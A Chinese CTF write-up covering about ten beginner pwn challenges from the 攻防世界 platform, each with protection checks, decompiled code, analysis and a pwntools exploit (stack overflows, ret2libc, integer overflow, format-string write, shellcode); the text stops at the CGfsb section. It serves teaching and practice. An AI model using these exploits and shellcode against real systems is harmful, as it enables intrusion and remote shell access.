获取中...

-

Just a minute...

攻防世界pwn新手区wp

level2

查看保护机制


只开启了NX保护

ida分析

main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

vulnerable_function()函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

查看system函数

system函数的地址是0x08048320
system()函数没有直接输入”/bin/sh”
查找到有”/bin/sh”,地址是 0x0804a024

vulnerable_function()函数存在溢出, buf的长度为0x88,可以输入0x200的长度,可以在system()后面添加”/bin/sh”的地址,然后构造payload在buf后面调用系统函数得到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=remote('111.198.29.45','34085')
sys_addr=0x08048320
#sys_addr=elf.symbols['system'] 获取系统函数地址
sh_addr=0x0804a024
#sh_addr=elf.search('/bin/sh').next() 获取'/bin/sh'字符串地址
payload+='a'*(0x88+0x4) #填充垃圾数据
payload+=p32(sys_addr) #覆盖返回地址到system函数
payload+=p32(66666) #随意填写system函数调用后的返回地址
payload+=p32(0x0804a024) #system函数的参数,指向“/bin/sh”,实现调用
p.sendline(payload)
p.interactive()

cgpwn2

查看文件基本信息

1
2
3
4
5
6
7
8
9
Thriumph@ubuntu:~/pwn/gfsj$ file cgpwn2 
cgpwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=86982eca8585ab1b30762b8479a6071dbf584559, not stripped
Thriumph@ubuntu:~/pwn/gfsj$ checksec cgpwn2
[*] '/home/Thriumph/pwn/gfsj/cgpwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000

开启了NX保护,没有canary和PIE

查看main()函数

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}

查看hello()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char *hello()
{
char *v0; // eax
signed int v1; // ebx
unsigned int v2; // ecx
char *v3; // eax
char s; // [esp+12h] [ebp-26h]
int v6; // [esp+14h] [ebp-24h]

v0 = &s;
v1 = 30;
if ( (unsigned int)&s & 2 )
{
*(_WORD *)&s = 0;
v0 = (char *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&v0[v2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0xFFFFFFFC) );
v3 = &v0[v2];
if ( v1 & 2 )
{
*(_WORD *)v3 = 0;
v3 += 2;
}
if ( v1 & 1 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
}

需要输入name和message
char s; // [esp+12h] [ebp-26h],s的大小为0x26
return gets(&s);中gets函数存在溢出

查看pwn()函数

1
2
3
4
int pwn()
{
return system("echo hehehe");
}

调用了system函数,但是并没有执行”/bin/sh”,我们自己构造然后传入进去就可以了。

查看name函数

1
2
.bss:0804A080 name            db 34h dup(?)           ; DATA XREF: hello+77↑o
.bss:0804A080 _bss ends

0804A080是name的地址,name在bss段上,是一个全局变量,构造”/bin/sh”传入到name中,那么”/bin/sh”的地址就是name的地址。然后调用system函数去调用就可以了。
用gdb调试,查看出偏移为42.

exp

将返回地址覆盖为system函数的地址,然后传入name,这时,相当于给system传入了”/bin/sh”作为参数。
构造payload,payload=”a” * 42 +p32(sys_addr) +”a” * 4 + p32(name)

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote("111.198.29.45","39125")
elf=ELF('./cgpwn2')
name = 0x0804A080
sys_addr=elf.symbols['system']#system地址,也能直接在程序中找,sys_addr=0x08048420
p.recvuntil("your name")
p.sendline("/bin/sh")
p.recvuntil("leave some message here:")
payload="a" * 42 +p32(sys_addr) +"a" * 4 + p32(name)
p.sendline(payload)
p.interactive()

hello pwn

查看文件信息


没有canary保护,地址固定

ida查看

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 0x6E756161 )
sub_400686();
return 0LL;
}

很明显的bof,查看sub_400686

1
2
3
4
5
__int64 sub_400686()
{
system("cat flag.txt");
return 0LL;
}

调用了system函数。

思路

read(0, &unk_601068, 0x10uLL); read函数,第一个参数为0,代表标准输入,第三个参数是输入的个数是0x10,即16个字节。就是从0x601068开始往后读取16个字节。当dword_60106C == 0x6E756161时可以得到flag,所以在read处溢出unk_601068覆盖dword_60106c为0x6E756161就行了

exp

1
2
3
4
5
from pwn import *
p=remote('111.198.29.45','38347')
payload='A'*4+p32(0x6E756161)
p.sendline(payload)
p.interactive()

level0

查看文件信息


只开启了NX保护

ida查看

main函数:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

很简单,输出helloworld然后调用vulnerable_function()函数。

查看vulnerable_function()函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

buf是80h,栈上可以需要覆盖返回地址,因为是64为,需要覆盖80h+8h,也就是88h,然后就能调用想要调用的地址了。
查看callsystem函数

调用了system函数,所以覆盖返回地址为system的地址就行了。system地址是0x400596

exp

1
2
3
4
5
from pwn import *
p=remote('111.198.29.45','41896')
payload='a'*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()

guess num

涉及两个函数,srand函数和rand函数。还有pthon,c混合编程

查看文件信息

1
2
3
4
5
6
7
8
9
Thriumph@ubuntu:~/pwn$ file 1
1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=c5689a0b4458c068fb51e3a2c167b112c3ba7323, stripped
Thriumph@ubuntu:~/pwn$ checksec 1
[*] '/home/Thriumph/pwn/1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

开启了canary保护,堆栈不可执行保护还有pie。

ida分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v5; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v7; // [rsp+Ch] [rbp-34h]
char v8; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v10; // [rsp+38h] [rbp-8h]

v10 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v5 = 0;
v7 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets(&v8); //get函数是漏洞点,造成了栈溢出漏洞
v3 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i ) //循环十次
{
v7 = rand() % 6 + 1; //在1~6中产生一个随机整数
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v5);
puts("---------------------------------");
if ( v5 != v7 ) //输入的数的随机生成的数相等
{
puts("GG!");
exit(1);
}
v3 = "Success!";
puts("Success!");
}
sub_C3E(v3);
return 0LL;

sub_C3E函数

1
2
3
4
5
6
__int64 sub_C3E()
{
printf("You are a prophet!\nHere is your flag!");
system("cat flag");
return 0LL;
}

sub_C3E函数调用了system函数

思路

想办法让输入的数和生成的随机数相等就好了

关于rand函数,srand函数和seed

int num = rand() % n 产生0到n-1这n个整数中的一个随机整数
rand() % (b-a+1)+ a 就表示a到b 之间的一个随机整数
int num = rand() % n +a; 其中的a是起始值,n-1+a是终止值,n是整数的范围
srand初始化随机种子,rand产生随机数,这个题是从1~6中间随机产生随机数。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。对于这个题来说随机种子设置为1和0都可以。

get函数

get函数造成了栈溢出漏洞,可以覆盖seed[0],就可以制造伪随机数了
查看get函数参数v7在栈中的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-0000000000000030 var_30          db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 seed dd 2 dup(?) //srand函数种子seed
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

发现var_30在栈中占0x20,可以覆盖到seed[0],然后就可以制造伪随机数了。我们可以覆盖为为1,然后循环10次就行了。可以构造payload = ‘A’ * 0x20 + p64(1)

ctype和dll

需要python和C语言,可以使用python标准库中的ctype模块进行C语言和python的混合编程

libc共享库

直接使用ldd查找

1
2
3
4
Thriumph@ubuntu:~/pwn$ ldd 1
linux-vdso.so.1 => (0x00007ffefffc8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8c9246000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb8c9813000)

or

1
2
elf = ELF('./1')
libc = elf.libc

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from ctypes import *
p=remote('111.198.29.45','49039')
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload="a"*0x20+p64(1)
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num=str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()

另一种做法,编写一个C语言程序,用0x61616161作为种子生成随机数列

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<stdlib.h>
int main()
{
char *a="aaaaaaaa";
srand(0x61616161);
for(int i=0;i<=9;i++)
{
int test=rand()%6+1;
printf("%d\n",test);
}
return 0;
}

查看生成的数列

1
2
Thriumph@ubuntu:~/pwn$ ./a.out
5646623622

依次输入就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Thriumph@ubuntu:~/pwn$ ./1
-------------------------------
Welcome to a guess number game!
-------------------------------
Please let me know your name!
Your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-------------Turn:1-------------
Please input your guess number:5
---------------------------------
Success!
-------------Turn:2-------------
Please input your guess number:6
---------------------------------
......
-------------Turn:10-------------
Please input your guess number:2
---------------------------------
Success!
You are a prophet!

int overflow

整数溢出漏洞

整数溢出的原理

整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,无符号数取值范围为非负数,常见各类型占用字节数如下:

类型 占用字节数 值范围
int 4 -2147483648~2147483647
Long int 4 -2147483648~2147483647
Unsigned int 4 0~4294967295
Unsigned short int 2 0~65535
Unsigned short int 4 0~4294967295

定义一个unsigned short int类型(0~65535)的变量a,b,a=1,b=65537
写一个C语言代码测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
int main()
{
unsigned short int a=1,b=65537;
if(a==b)
{
printf("溢出,a=b");
}
else
{
printf("sb");
}
return 0;
}

运行一下结果为 溢出,a=b
也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,因此就会出现65537等于1的情况,其他类型变量和数值与之类似。

查看保护

1
2
3
4
5
6
[*] '/home/Thriumph/re/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启了NX保护。没有canary,没有PIE。

查看main()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}

输入1登陆,输入2离开

查看login()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}

需要输入username和passwd,username和passwd函数都有长度限制,接受了一个最大长度为0x199的password。

查看check_passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}

unsigned _ int8 v3; // [esp+Fh] [ebp-9h]设置了一个用一个字节8bit的变量v3,存passwd,之后看到了不安全函数strlen(),然后strcpy将passwd拷贝进stack中,dest距ebp是14h,所以stack中给出的保存passwd的大小为0x14,十进制是20,passwd接受0x199(十进制409),长度大于1字节,所以存在整数溢出,password字符串的长度可以是3-8个字符,也可以是259-264个字符。

查看what_is_this函数

1
2
3
4
int what_is_this()
{
return system("cat flag");
}

调用了system函数,system函数地址是0804868B

思路

strlen存在溢出漏洞,因为32位程序中strlen把结果放在al中,而al是八位的,所以能存的最大值为255(1111 1111),如果超过255,就会导致整形溢出。例如261(1 0000 0101‬)最终输出的结果就是(0000 0101),而read(0,&buf,0x199u)获取的输入可以远大于255,所以我们输入的s只要在259-264即可造成整数溢出,但是要求输入的s长度在(4,8]之间。所以通过整数溢出来越过这个限制,然后跳转到0x0804868B的函数就可以获取flag。
之后就要分析一下需要覆盖多少位了。在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,而在32位程序中,leave指令等于mov esp,ebp和pop ebp两条指令的组合,也就是说,在覆盖函数返回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数。

exp

259-264之间随机选择一个数。选择262,264-0x14-4-4=234
想要覆盖到返回地址,先使用0x14个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用”cat flag”的地址覆盖返回地址,最后接上262剩余的数据即可。

可构造payload
payload = “a” * 0x14 + “aaaa” + p32(cat_flag_addr) + “a” * 234

payload1 = ‘a’ * 0x14 + “aaaa” + p32(cat_flag_addr)
payload1 = payload1+ ‘a’ * (262-int(len(payload1)))

payload2=”a” * 0x14 + “aaaa” + p32(cat_flag_addr)
payload2 = payload2.ljust( 262,”a”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p=remote("111.198.29.45","32607")
cat_flag_addr = 0x0804868B
p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("Thriumph")
p.recvuntil("passwd:\n")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr) + "a" * 234
#payload1 = 'a' * 0x14 + "aaaa" + p32(cat_flag_addr)
#payload1 = payload1+ 'a' * (262-int(len(payload1)))
#payload2="a" * 0x14 + "aaaa" + p32(cat_flag_addr)
#payload2 = payload2.ljust( 262,"a")
p.sendline(payload)
#p.sendline(payload1)
#p.sendline(payload2)
p.interactive()

when did you born

一道简单的溢出

查看文件

没有开启pie保护

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != 10 )
;
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}

看到了 gets((__int64)&v4); ,典型的溢出,只要覆盖v5为1926(0x786)就行了

解题思路

计算出v5的偏移,覆盖v5为0x786就行了

1
2
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]

0x20-0x18=0x2,偏移为8个字节,填充8个字节的垃圾数据,然后将后四位覆盖为0x786就行了。

exp

1
2
3
4
5
6
7
8
from pwn import *
p=remote('111.198.29.45','37142')
payload='A'*8+p64(0x0786)
p.recvuntil("What's Your Birth?")
p.sendline("AAAA")
p.recvuntil("What's Your Name?")
p.sendline(payload)
p.interactive()

level3

查看文件信息

1
2
3
4
5
6
7
8
9
Thriumph@ubuntu:~/pwn/gfsj/level3$ file level3
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
Thriumph@ubuntu:~/pwn/gfsj/level3$ checksec level3
[*] '/home/Thriumph/pwn/gfsj/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启了NX保护

查看main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

没问题

查看vulnerable_function()函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

有一个缓冲区buf,在read函数中进行了调用,可以进行溢出。

分析

若无libc
1.通过vulerable_function()的read()构造ROP得到PLT表中write()的位置
2.通过write()得到write()在程序中的真实地址
3.使用LibcSearcher得到libc版本
4.在对应的libc版本中查找write()、system()、/bin/sh的真实地址
5.使用write()的程序地址和libc地址计算出偏移量
6.在system()、/bin/sh的真实地址上加上偏移量再通过vulerable_function()执行得到shell

但是这个题单独给出了libc,没有现成的system函数,没有”/bin/sh”,只有read()和write()函数,是ret2libc。
要从libc中动态加载system函数,PIE没有开启,那么在libc中函数的offset就是固定的,只要确认了libc的base address,然后计算出system函数的offset,就可以定位到system函数的真实地址,实现调用。

攻击思路

ibc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。
1.首先利用write()函数计算出write()函数的真实地址。
2.利用相对offset计算出system和”/bin/sh”的真实地址。

在vulnerable_function()中,先调用了write()函数,然后调用read()函数。write()函数返回到vulnerable_function()后,再进行read()函数调用,这样就可以进行二次攻击。

第一次攻击我们利用栈溢出将write()函数在got表中的真实地址leak出来,然后减去libc中的offset,就可以得到libc的base address。

第二次攻击重新进入main函数,再次通过栈溢出,利用system函数进行getshell。

两次攻击情况

First stack second stack
‘A’ * 0x88 ‘A’ * 0x88
EBP EBP
write@plt sys_addr
main_addr 0xdeadbeef
1 bin_sh_addr
write@got XXXX
0xdeadbeef XXXX

第一次攻击获得libc的基地址
payload = ‘A’ * 0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)

第二次攻击获得其他地址
payload0 = ‘A’ * 0x88 + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

Address Calculate
libc_addr write_got_addr - libc.symbols[‘write’]
sys_addr libc_addr + libc.symbols[‘system’]
bin_sh_addr libc_addr + 0x15902b

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

p = remote('111.198.29.45','32414')
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

#获取write()在程序内GOT地址和vulnerable_function()调用地址
write_plt = elf.plt['write']
write_got = elf.got['write']
valf_addr = elf.symbols['vulnerable_function']

#获取write()在程序内真实地址
p.recv()
payload1 = 'A'*0x88 + p32(0xdeadbeef) + p32(write_plt) + p32(valf_addr) + p32(0x1) + p32(write_got) + p32(0xdeadbeef)

p.send(payload1)

#leak write's addr in got
write_addr = u32(p.recv(4))
print("write addr - "+hex(write_addr))


#载入libc并得到/bin/sh、write()、system()、exit()在libc中地址
write_libc = libc.symbols['write']
system_libc = libc.symbols['system']
bin_sh_libc = libc.search('/bin/sh').next()
exit_libc = libc.symbols['exit']

#计算偏移量
libc_base = write_addr - write_libc

#得到system()、/bin/sh、exit()在内存中的真实地址
system_addr = libc_base + system_libc
bin_sh_addr = libc_base + bin_sh_libc
exit_addr = libc_base + exit_libc
print("system addr - "+hex(system_addr))
print("bin_sh addr - "+hex(bin_sh_addr))
print("exit addr - "+hex(exit_addr))

sleep(2)

p.recv()
payload2 = 'A'*0x88 + 'A'*0x4 + p32(system_addr) + p32(exit_addr) + p32(bin_sh_addr)
p.send(payload2)

p.interactive()

string

查看保护


程序是64位的,基于x86构架的,开启了canary保护和堆栈不可执行保护

分析

main()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_DWORD *v3; // rax
__int64 v4; // ST18_8

setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996();
v3 = malloc(8uLL);
v4 = (__int64)v3;
*v3 = 68;
v3[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2);
printf("secret[1] is %x\n", v4 + 4);
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");
return 0LL;
}

会调用sub_400D72(v4),其中v4=( _ int64) v3。大致流程就是随机生成一个v3,v3[0]=68,v3[1]=85,v3[0]的地址是a2

sub_400D72函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("What should your character's name be:");
_isoc99_scanf("%s", &s);
if ( strlen(&s) <= 12 )
{
puts("Creating a new player.");
sub_400A7D("Creating a new player.");
sub_400BB9();
sub_400CA6(a1);
}
else
{
puts("Hei! What's up!");
}
return __readfsqword(0x28u) ^ v3;
}

输入的长度要小于12。
这里面还分别调用了三个函数,sub_400A7D,sub_400BB9和sub_400CA6,分别进去查看

sub_400A7D函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 sub_400A7D()
{
char s1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs");
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts("room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts("one corner you notice a fireplace.");
puts("There are two obvious exits: east, up.");
puts("But strange thing is ,no one there.");
puts("So, where you will go?east or up?:");
while ( 1 )
{
_isoc99_scanf("%s", &s1);
if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
}
if ( strcmp(&s1, "east") )
{
if ( !strcmp(&s1, "up") )
sub_4009DD(&s1, "up");
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}
return __readfsqword(0x28u) ^ v2;
}

输入east或up,输入up会进入sub_4009DD,输出puts(“YOU ARE DEAD”)。所以输入要和east相等

sub_400BB9()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

看到了printf(&format, &format);这是一个格式化字符串的漏洞

sub_400CA6函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;
}

((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);a1[0]=a1[1],把v1强制转化成一个函数指针并调用这个函数。


之后可以看到调用了read函数

思路

通过printf任意地址写入使 * a1 == a1[1],也就是使v3[0]=v3[1]=85。需要知道v3[0]的地址,在main函数发现其实secret[0]即v3[0]的地址,所以就可以利用printf任意地址写修改v3[0]处的值了。在64位程序下,前6个参数从左到右依次放到RDI、RSI、RDX、RCX、R8、R9中,所以从第七个开始,我们就可以修改栈中的数据为85

也可以通过%x查看偏移,偏移为7

所以构造payload为"%85d%7$n"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45','44407')
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)
payload = asm(shellcraft.amd64.linux.sh(), arch='amd64')
#payload2 = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil('What should your character\'s name be:')
p.sendline('AAAA')
p.recvuntil('So, where you will go?east or up?:')
p.sendline('east')
p.recvuntil('go into there(1), or leave(0)?:')
p.sendline('1')
p.recvuntil('\'Give me an address\'')
p.sendline(str(addr))
p.recvuntil('And, you wish is:')
p.sendline('%85c%7$n')
p.recvuntil('Wizard: I will help you! USE YOU SPELL')
p.sendline(payload)
#p.sendline(payload2)
p.interactive()

CGfsb

一道关于格式化字符串漏洞的题目

查看文件


这是一个32位的elf文件,开启了NX和canary保护,关闭了PIE地址随机化,简单看了一下,要输入名字和留言内容。

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
